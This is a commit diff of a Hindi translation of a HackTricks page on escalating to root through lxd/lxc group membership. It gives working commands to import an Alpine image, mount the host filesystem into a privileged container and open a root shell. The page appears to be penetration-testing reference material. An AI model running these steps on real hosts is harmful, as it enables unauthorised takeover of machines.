Translated ['src/linux-hardening/privilege-escalation/interesting-groups

This commit is contained in:
Translator 2025-05-20 15:10:02 +00:00
parent 1f4afabca3
commit e2b1ccf3fa

View File

@ -2,24 +2,29 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
यदि आप _**lxd**_ **या** _**lxc**_ **समूह** के सदस्य हैं, तो आप रूट बन सकते हैं यदि आप _**lxd**_ **या** _**lxc**_ **समूह** के सदस्य हैं, तो आप रूट बन सकते हैं
## इंटरनेट के बिना शोषण ## इंटरनेट के बिना शोषण
### विधि 1 ### विधि 1
आप अपने मशीन में इस डिस्ट्रो बिल्डर को स्थापित कर सकते हैं: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(गिटहब के निर्देशों का पालन करें): आप एक विश्वसनीय रिपॉजिटरी से lxd के साथ उपयोग करने के लिए एक alpine इमेज डाउनलोड कर सकते हैं।
Canonical अपने साइट पर दैनिक निर्माण प्रकाशित करता है: [https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/](https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/)
बस नवीनतम निर्माण से **lxd.tar.xz** और **rootfs.squashfs** दोनों को प्राप्त करें। (डायरेक्टरी का नाम तारीख है)।
वैकल्पिक रूप से, आप अपने मशीन में इस डिस्ट्रो बिल्डर को स्थापित कर सकते हैं: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (गिटहब के निर्देशों का पालन करें):
```bash ```bash
sudo su
# Install requirements # Install requirements
sudo apt update sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage
# Clone repo # Clone repo
mkdir -p $HOME/go/src/github.com/lxc/
cd $HOME/go/src/github.com/lxc/
git clone https://github.com/lxc/distrobuilder git clone https://github.com/lxc/distrobuilder
# Make distrobuilder # Make distrobuilder
cd distrobuilder cd ./distrobuilder
make make
# Prepare the creation of alpine # Prepare the creation of alpine
@ -27,13 +32,10 @@ mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
# Create the container # Create the container - Beware of architecture while compiling locally.
## Using build-lxd sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
``` ```
फाइलें **lxd.tar.xz** और **rootfs.squashfs** अपलोड करें, इमेज को रिपॉजिटरी में जोड़ें और एक कंटेनर बनाएं: फाइलें **incus.tar.xz** (**lxd.tar.xz** यदि आपने Canonical रिपॉजिटरी से डाउनलोड की है) और **rootfs.squashfs** अपलोड करें, इमेज को रिपॉजिटरी में जोड़ें और एक कंटेनर बनाएं:
```bash ```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -49,18 +51,18 @@ lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
``` ```
> [!CAUTION] > [!CAUTION]
> यदि आप इस त्रुटि को पाते हैं _**त्रुटि: कोई स्टोरेज पूल नहीं मिला। कृपया एक नया स्टोरेज पूल बनाएं**_\ > यदि आप यह त्रुटि _**त्रुटि: कोई स्टोरेज पूल नहीं मिला। कृपया एक नया स्टोरेज पूल बनाएं**_\
> **`lxd init`** चलाएं और **पिछले** आदेशों के समूह को **दोहराएं** > चलाएँ **`lxd init`** और सभी विकल्पों को डिफ़ॉल्ट पर सेट करें। फिर **पिछले** आदेशों के समूह को **दोहराएँ**
अंत में, आप कंटेनर को निष्पादित कर सकते हैं और रूट प्राप्त कर सकते हैं: अंत में आप कंटेनर को निष्पादित कर सकते हैं और रूट प्राप्त कर सकते हैं:
```bash ```bash
lxc start privesc lxc start privesc
lxc exec privesc /bin/sh lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
``` ```
### विधि 2 ### Method 2
एक Alpine इमेज बनाएं और इसे `security.privileged=true` ध्वज का उपयोग करके शुरू करें, जिससे कंटेनर को होस्ट फाइल सिस्टम के साथ रूट के रूप में इंटरैक्ट करने के लिए मजबूर किया जा सके। एक Alpine इमेज बनाएं और इसे `security.privileged=true` फ्लैग का उपयोग करके शुरू करें, जिससे कंटेनर को होस्ट फाइल सिस्टम के साथ रूट के रूप में इंटरैक्ट करने के लिए मजबूर किया जा सके।
```bash ```bash
# build a simple alpine image # build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder git clone https://github.com/saghul/lxd-alpine-builder